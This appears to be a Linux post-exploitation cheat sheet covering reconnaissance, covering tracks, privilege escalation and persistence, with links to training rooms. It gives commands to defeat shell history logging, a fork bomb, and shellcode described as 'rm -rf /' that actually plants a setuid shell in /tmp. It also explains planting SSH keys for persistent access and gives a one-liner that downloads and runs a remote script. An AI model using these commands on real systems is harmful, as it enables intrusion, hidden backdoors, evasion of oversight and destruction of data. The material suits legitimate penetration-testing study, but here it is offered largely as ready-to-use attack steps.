• Information Gathering
  • Blind Files
  • System
  • Network
  • User Accounts
  • User Information
  • Credentials
  • Configs
  • Determine Distro
  • Installed Packages
  • Package Sources
  • Finding Important Files
  • Other Utilities
• Covering Your Tracks
  • Avoiding history filesmys
  • Deleting and Destroying
• Escalating
  • Looking for possible opened paths
• Maintaining Control
  • SSH
  • Reverse Shell
  • Execute a Remote Script

Things to pull when all you can do is blindly read like in LFI/dir traversal (Linux File Inclusion) (Don’t forget %00!)

A nice training room for this can be the TryHackMe Inclusion room https://tryhackme.com/room/inclusion

Other commands bellow I could not put into this Markdown table due the syntax. Arf, Markdown syntax has its limits.

| -----------------------------------------------------------------------------|
|    COMMAND                              |     Description and/or Reason      |
| -----------------------------------------------------------------------------|
ls -alR | grep ^d             
ls -dl \`find /var -type d\`
ls -dl \`find /var -type d\` | grep -v root

### Remember to updatedb before running locate
locate tar | grep [.]tar$                         
locate tgz | grep [.]tgz$
locate sql | grep [.]sql$
locate settings | grep [.]php$
locate config.inc | grep [.]php$

### java config files
.properties | grep [.]properties

### java/.net config files        
locate .xml | grep [.]xml

### find suids
find /sbin /usr/sbin /opt /lib \`echo $PATH | ‘sed s/:/ /g’\` -perm /6000 -ls 

Also, check http://incolumitas.com/uploads/2012/12/blackhats_view.pdf for some one-liners that find world writable directories/files and more.

• export HISTFILE=
• unset HISTFILE
• Using a space in front of your commands avoid these being recorded in the bash history.

This next one might not be a good idea, because a lot of folks know to check for tampering with this file, and will be suspicious if they find out.

However, if you happen to be on an account that was originally inaccessible, if the .bash_history file is available (ls -a ~), viewcating its contents can provide you with a good deal of information about the system and its most recent updates/changes.

Note that you’re probably better off modifying or temporary disabling rather than deleting history files, it leaves a lot less traces and is less suspect.

In some cases HISTFILE and HISTFILESIZE are made read-only; get around this by explicitly clearing history (history -c) or by kill -9 $$’ing the shell. Sometimes the shell can be configured to run ‘history -w’ after every command; get around this by overriding ‘history’ with a no-op shell function. None of this will help if the shell is configured to log everything to syslog, however.

Do not tell me you ar that kind of bitch!

If it is necessary to leave the machine inaccessible or unusable. Note that this tends to be quite evident (as opposed to a simple exploitation that might go unnoticed for some time, even forever), and will most surely get you into troubles.
Oh, and you’re probably a jerk if you use any of the stuff below.

• Hex version of rm -rf / (How is this supposed to work?)

char esp[] \_\_attribute\_\_ ((section(”.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68\"  
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99\"  
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7\"  
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"  
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"  
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"  
“\x6e\x2f\x73\x68\x00\x2d\x63\x00"  
“cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;  

• Fork Bomb: The [in]famous "fork bomb". This command will cause your system to run a large number of processes, until it "hangs". This can often lead to data loss (e.g. if the user brutally reboots, or the OOM killer kills a process with unsaved work). If left alone for enough time a system can eventually recover from a fork bomb. Read more here: https://en.wikipedia.org/wiki/Fork_bomb

:(){ :|:& };:

See the great linPEAS tool!: https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS

Also by creating a user account can be interesting.

To make things even better, you should always try and get shell access to the box. Ideally with an SSH connection to have full shell access instead of not so stable or limited reverse or bind shells.

id_rsa file that contains a private key that can be used to connect to a box via ssh. It is usually located in the .ssh folder in the user's home folder. (Full path: /home/USER/.ssh/id_rsa). Get that file on your system and give it read/write-only permissions for your user, (chmod 600 id_rsa) and connect from the host machine by executing ssh -i id_rsa USER@IP.

In case if the target box does not have a generated id_rsa file (or you simply don't have reading permissions for it), you can still gain stable ssh access. All you need to do is generate your own id_rsa key on your system and include an associated key into authorized_keys file on the target machine.

Execute ssh-keygen and you should see id_rsa and id_rsa.pub files appear in your own .ssh folder. Copy the content of the id_rsa.pub file and put it inside the authorized_keys file on the target machine (located in .ssh folder). If the authorized_keys does not exist on the target machine, create it and chmod 600 authorized_keys. After that, connect to the machine using your id_rsa file with ssh -i id_rsa USER@IP and you won't be asked for a password. Note that this way you leave a trace of yourself.

NOTE: If the target machine does not have ssh config files at all. Just make them like previously mentioned.

NOTE: The ssh server also needs to allow this all.

See the dedicated document: Reverse Shell

wget http://server/file.sh -O- | sh  

This command forces the download of a file and immediately its execution

• GTFObins - GTFOBins is a curated list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems.